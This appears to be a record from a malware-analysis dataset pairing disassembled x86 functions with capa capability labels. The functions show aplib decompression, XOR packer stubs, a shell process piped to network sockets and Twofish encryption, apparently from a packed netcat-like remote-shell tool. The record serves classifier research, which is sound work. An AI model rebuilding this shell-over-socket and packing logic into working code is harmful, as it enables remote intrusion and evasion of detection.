joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7d8058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.007d81a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x7d807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d806a
add dl, dl
jne 0x7d8089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d80dc
xor eax, eax
add dl, dl
jne 0x7d8096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d817d
add dl, dl
jne 0x7d80a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x7d80d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x7d8075
mov eax, 1
add dl, dl
jne 0x7d80ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d80e1
sub eax, ebx
mov ebx, 1
jne 0x7d8128
mov ecx, 1
add dl, dl
jne 0x7d810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7d8119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d8105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x7d813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7d814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d8136
cmp eax, 0x7d00
jae 0x7d816d
cmp eax, 0x500
jb 0x7d8168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
cmp eax, 0x7f
ja 0x7d8170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x7d819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x7d8075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x24841d20
nop
nop
nop
nop
nop
test eax, eax
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0x3ac6553f
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..3ean
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
je 0x431072
nop
nop
nop
nop
nop
mov ebx, 0x40915c
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x44b10f1f
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x431060
nop
nop
nop
nop
mov eax, section..7LWLf
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4310d2
nop
mov ebx, 0x42f3f8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x4b5915c6
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x2b4f7f2e
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..text
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x4180682d
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4014e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x401506
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x40159a
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401555
cmp eax, 0x40
je 0x401555
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x4014f9
cmp eax, 0x40
je 0x4014f9
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
jmp 0x4014f9
mov dword [esp + 8], 0x34
mov dword [esp + 4], str..._.._runtime_pseudo_reloc.c
mov dword [esp], str.VirtualQuery__addr__b__sizeof_b__
call sym.__assert
lea esi, [esi]
lea edi, [edi]
Function at 0x401000
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
call fcn.004057d0
mov esi, eax
add esp, 4
test esi, esi
jne 0x40102a
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
push 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
mov dword [esi], 0
lea ebx, [esi + 4]
push eax
mov dword [ebx], 0
push esi
mov dword [ebp - 0x14], 0xc
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
test eax, eax
jne 0x401093
push 0
push 0
push 0
push 0
push 0xa
push 0x41f060
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040f69e
add esp, 0xc
push eax
push str.Failed_to_create_shell_stdout_pipe__error___s
jmp 0x4010fb
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x4010c9
push eax
push eax
push eax
push eax
push eax
push 0xa
push 0x41f060
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040f69e
add esp, 0xc
push eax
push str.Failed_to_create_shell_stdin_pipe__error___s
jmp 0x4010fb
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.004013a0
add esp, 8
mov dword [esi + 8], eax
push dword [ebp - 4]
call edi
push dword [ebp - 8]
call edi
cmp dword [esi + 8], 0
jne 0x40113b
push 0
push 0
push 0
push 0
push 0
push 0
push str.Failed_to_execute_shell
call fcn.00402c20
mov eax, dword [ebp - 4]
add esp, 0x1c
test eax, eax
je 0x40110d
push eax
call edi
mov eax, dword [ebp - 8]
test eax, eax
je 0x401117
push eax
call edi
mov eax, dword [esi]
test eax, eax
je 0x401120
push eax
call edi
mov eax, dword [ebx]
test eax, eax
je 0x401129
push eax
call edi
push esi
call fcn.00405798
add esp, 4
xor eax, eax
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
mov dword [esi + 0xc], 0xffffffff
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4013a0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push edi
mov edi, dword [ebp + 0xc]
xor eax, eax
push 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
push 1
mov dword [ebp - 0x1c], eax
push 2
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x28], 0x101
mov dword [ebp - 0x18], edi
call esi
push eax
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push dword [0x41d1fc]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401452
push dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0
push 0
push 0xa
push 0x41f060
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040f69e
add esp, 0xc
push eax
push str.Failed_to_execute_shell__error___s
call fcn.00402c20
add esp, 0x1c
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401490
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
call fcn.00401000
mov ecx, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x401150
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0xc
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
push eax
mov dword [ebx + 0xc], ecx
call esi
mov dword [ebx + 0x10], eax
test eax, eax
jne 0x401513
push eax
push eax
push eax
push eax
push eax
push 0xa
push 0x41f060
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040f69e
add esp, 0xc
push eax
push str.Failed_to_create_ReadShell_session_thread__error___s
call fcn.00402c20
add esp, 0x1c
mov dword [ebx + 0xc], 0xffffffff
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x4012a0
push 0
lea eax, [ebp - 0x10]
push eax
call esi
mov dword [ebx + 0x14], eax
test eax, eax
jne 0x401571
push eax
push eax
push eax
push eax
push eax
push 0xa
push 0x41f060
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040f69e
add esp, 0xc
push eax
push str.Failed_to_create_ReadShell_session_thread__error___s
call fcn.00402c20
add esp, 0x1c
mov dword [ebx + 0xc], 0xffffffff
push 0
push dword [ebx + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebx + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 8]
push 0xffffffffffffffff
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0x1c]
push eax
push 3
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push 0
sub eax, 0
je 0x4015e7
dec eax
je 0x4015e2
dec eax
je 0x4015ce
push 0
push 0
push 0
push 0
push 0xa
push 0x41f060
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040f69e
add esp, 0xc
push eax
push str.WaitForMultipleObjects_error:__s
call fcn.00402c20
add esp, 0x1c
jmp 0x4015fb
push dword [ebx + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
call esi
push 0
push dword [ebx + 0x10]
call esi
jmp 0x4015fb
push dword [ebx + 0x10]
jmp 0x4015ea
push dword [ebx + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 1
push dword [ebx + 8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
push 2
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [ebx]
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call esi
push dword [ebx]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebx + 4]
call esi
push dword [ebx + 4]
call edi
push dword [ebx + 0x10]
call edi
push dword [ebx + 0x14]
call edi
push dword [ebx + 8]
call edi
push ebx
call fcn.00405798
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4016f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x418250]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x28], ebx
xor esi, esi
mov edi, edi
push 0
mov eax, 0x20
sub eax, esi
push eax
lea eax, [ebx + esi]
push eax
push edi
call sub.WS2_32.dll_recv
test eax, eax
jle 0x40182b
add esi, eax
cmp esi, 0x20
jl 0x401710
mov ecx, dword [0x419168]
push 0x10
lea eax, [ebp - 0x14]
push eax
push ebx
mov byte [ecx + 0x10e0], 0
mov dword [ecx + 0x10a8], 0x419170
mov byte [ecx + 2], 1
call fcn.00404d60
mov ecx, dword [0x419168]
call fcn.00405100
mov ecx, dword [0x419168]
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebx + 0x10]
push eax
mov dword [ecx + 0x10a8], 0x419170
mov byte [ecx + 2], 1
call fcn.00404d60
lea eax, [ebp - 0x14]
push eax
call fcn.004059cc
mov ebx, eax
add esp, 4
xor esi, esi
mov dword [ebp - 0x2c], ebx
test ebx, ebx
jle 0x4017be
nop
push 0
mov ecx, ebx
sub ecx, esi
push ecx
lea eax, [esi + 0x41b178]
push eax
push edi
call sub.WS2_32.dll_recv
test eax, eax
jle 0x4017be
add esi, eax
cmp esi, ebx
jl 0x4017a0
test esi, esi
jle 0x4017f7
mov ebx, 0x41b178
jmp 0x4017d0
mov ecx, dword [0x419168]
mov edi, 0x10
cmp esi, edi
cmovl edi, esi
push edi
lea eax, [ebp - 0x14]
push eax
push ebx
call fcn.00404d60
sub esi, edi
add ebx, 0x10
test esi, esi
jg 0x4017d0
mov ebx, dword [ebp - 0x2c]
mov ecx, dword [0x419168]
call fcn.00405100
mov esi, dword [ebp - 0x28]
push ebx
push 0x419190
push esi
call fcn.00405aa0
add esp, 0xc
mov byte [esi + ebx], 0
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405923
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00405923
mov esp, ebp
pop ebp
ret

Function at 0x4021c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x20]
mov eax, 1
push dword [ebp + 0x1c]
mov word [0x41d1f0], ax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00402c20
add esp, 0x1c
push dword [0x418008]
call sub.WS2_32.dll_closesocket
push 1
call fcn.00406912
add esp, 4
push 1
call fcn.004068fe
int3
Function at 0x402260
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
call fcn.0040651c
push 0
mov dword [eax], 0
call sub.WS2_32.dll_WSASetLastError
cmp word [0x41d1ec], 0
je 0x402288
push 0x11
push 2
jmp 0x40228c
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [0x41efec], eax
test eax, eax
js 0x402454
jne 0x4022b1
push 0
call fcn.0040f825
add esp, 4
mov dword [0x41efec], eax
push 4
push dword [0x41eff0]
push 4
push 0xffff
push eax
call sub.WS2_32.dll_setsockopt
cmp eax, 0xffffffff
jne 0x4022d8
push str.nnetfd_reuseaddr_failed
call fcn.00402c20
add esp, 4
mov eax, dword [0x41d1bc]
mov ebx, dword [ebp + 0x10]
mov ecx, 2
mov word [eax], cx
mov eax, dword [0x41d1c0]
mov word [eax], cx
test ebx, ebx
je 0x4022fe
mov eax, dword [0x41d1bc]
mov ecx, dword [ebx]
mov dword [eax + 4], ecx
mov edi, dword [ebp + 0x14]
test di, di
je 0x402316
push edi
call sub.WS2_32.dll_htons
mov ecx, dword [0x41d1bc]
mov word [ecx + 2], ax
xor esi, esi
test ebx, ebx
jne 0x402321
test di, di
je 0x402389
mov ebx, 4
jmp 0x402330
push 0x10
push dword [0x41d1bc]
push dword [0x41efec]
call sub.WS2_32.dll_bind
mov esi, eax
test esi, esi
je 0x402391
call fcn.0040651c
cmp dword [eax], 0x64
jne 0x402389
mov eax, dword [0x41d1bc]
movzx ecx, di
push ecx
push dword [eax + 4]
call sub.WS2_32.dll_inet_ntoa
push eax
push str.retrying_local__s:_d
call fcn.00402c20
push 1
call fcn.00406912
add esp, 0x10
call fcn.0040651c
dec ebx
mov dword [eax], 0
test ebx, ebx
jg 0x402330
test esi, esi
jne 0x40245e
cmp word [0x41d1dc], 0
je 0x4023a5
mov eax, dword [0x41efec]
pop edi
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov ecx, dword [eax]
mov eax, dword [0x41d1c0]
mov dword [eax + 4], ecx
call sub.WS2_32.dll_htons
mov ecx, dword [0x41d1c0]
mov word [ecx + 2], ax
cmp dword [0x41d1a4], 0
je 0x4023da
push str.Warning:_source_routing_unavailable_on_this_machine__ignoring
call fcn.00402c20
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xfffffffffffffff5
call esi
push 0
push 0x41f020
call fcn.004072f0
add esp, 8
test eax, eax
jne 0x40240e
push 0x10
push dword [0x41d1c0]
push dword [0x41efec]
call sub.WS2_32.dll_connect
mov edi, eax
jmp 0x40241b
push 0x274c
or edi, 0xffffffff
call sub.WS2_32.dll_WSASetLastError
push 0xfffffffffffffff5
call esi
test edi, edi
je 0x40239b
call fcn.0040651c
mov esi, eax
call sub.WS2_32.dll_WSAGetLastError
mov dword [esi], eax
push dword [0x41efec]
call sub.WS2_32.dll_closesocket
call fcn.0040651c
push dword [eax]
call sub.WS2_32.dll_WSASetLastError
pop edi
pop esi
or eax, 0xffffffff
pop ebx
pop ebp
ret
push str.Cant_get_socket
call fcn.004021c0
movzx eax, di
push eax
mov eax, dword [0x41d1bc]
push dword [eax + 4]
call sub.WS2_32.dll_inet_ntoa
push eax
push str.Cant_grab__s:_d_with_bind
call fcn.004021c0
int3
Function at 0x404040
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0
push 1
push dword [0x41f000]
push esi
call sub.WS2_32.dll_send
cmp eax, 1
je 0x404070
call fcn.0040651c
push dword [eax]
push str.udptest_first_write_failed___errno__d
call fcn.00402c20
add esp, 8
mov eax, dword [0x41d1f4]
test eax, eax
je 0x404084
push eax
call fcn.00406912
add esp, 4
jmp 0x4040c3
xor eax, eax
push eax
push eax
push 0x7a69
push dword [ebp + 0xc]
mov word [0x41d1ec], ax
mov dword [0x41d1f4], 5
call fcn.00402260
add esp, 0x10
test eax, eax
jle 0x4040b2
push eax
call sub.WS2_32.dll_closesocket
inc word [0x41d1ec]
mov dword [0x41d1f4], 0
call fcn.0040651c
push 0
push 1
mov dword [eax], 0
push dword [0x41f000]
push esi
call sub.WS2_32.dll_send
cmp eax, 1
jne 0x4040e8
mov eax, esi
pop esi
pop ebp
ret
push esi
call sub.WS2_32.dll_closesocket
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x405120
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
push edi
cmp byte [esi + 3], 0
mov edi, dword [ebp + 8]
je 0x405144
push 0
push ebx
push edi
push dword [esi + 0x10ac]
call dword [sym.imp.WS2_32.dll_send]
test ebx, ebx
jle 0x40517a
cmp byte [esi + 1], 0
je 0x405160
movsx eax, byte [edi]
push dword [esi + 0x10a4]
push eax
call fcn.00407536
add esp, 8
cmp byte [esi + 2], 0
je 0x405176
mov ecx, dword [esi + 0x10a8]
mov al, byte [edi]
mov byte [ecx], al
inc dword [esi + 0x10a8]
inc edi
dec ebx
jne 0x405148
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4054e0
Capabilities:
Encode data using xor
Encrypt data using twofish

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edi
mov edi, edi
movzx esi, byte [edi + 0x418050]
mov eax, esi
and al, 2
movsx edx, al
neg edx
sbb edx, edx
mov ecx, esi
and ecx, 1
and edx, 0xb4
mov eax, ecx
neg eax
sbb eax, eax
and eax, 0x5a
mov ebx, esi
sar ebx, 2
xor ebx, eax
xor ebx, edx
xor ebx, esi
and ebx, 0xff
mov dword [ebp - 8], ebx
mov ebx, esi
sar ebx, 1
xor ebx, esi
sar ebx, 1
neg ecx
sbb ecx, ecx
and ecx, 0xb4
xor ebx, ecx
xor ebx, eax
xor ebx, edx
xor ebx, esi
and ebx, 0xff
mov dword [ebp - 0xc], ebx
movzx ebx, byte [edi + 0x418150]
mov eax, ebx
and al, 2
movsx edx, al
neg edx
sbb edx, edx
and edx, 0xb4
mov ecx, ebx
and ecx, 1
mov eax, ecx
neg eax
sbb eax, eax
and eax, 0x5a
mov dword [ebp - 0x10], esi
mov edi, ebx
sar edi, 2
xor edi, eax
xor edi, edx
mov esi, ebx
sar esi, 1
xor esi, ebx
sar esi, 1
xor edi, ebx
and edi, 0xff
neg ecx
sbb ecx, ecx
and ecx, 0xb4
xor esi, ecx
xor esi, eax
xor esi, edx
mov edx, dword [ebp - 4]
xor esi, ebx
and esi, 0xff
mov ecx, esi
shl ecx, 8
mov eax, ecx
or eax, esi
shl eax, 8
or eax, edi
shl eax, 8
or eax, ebx
mov dword [edx*4 + 0x41d208], eax
mov eax, dword [ebp - 0x10]
shl eax, 8
or eax, dword [ebp - 8]
shl eax, 8
or eax, dword [ebp - 0xc]
shl eax, 8
or eax, dword [ebp - 0xc]
or ecx, ebx
mov dword [edx*4 + 0x41d608], eax
mov eax, dword [ebp - 8]
shl eax, 8
or eax, dword [ebp - 0xc]
shl ecx, 8
shl eax, 8
or eax, dword [ebp - 0x10]
or ecx, esi
shl ecx, 8
or ecx, edi
shl eax, 8
or eax, dword [ebp - 8]
mov edi, edx
inc edi
mov dword [edi*4 + 0x41da04], ecx
mov dword [edi*4 + 0x41de04], eax
mov dword [ebp - 4], edi
cmp edi, 0x100
jl 0x4054f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret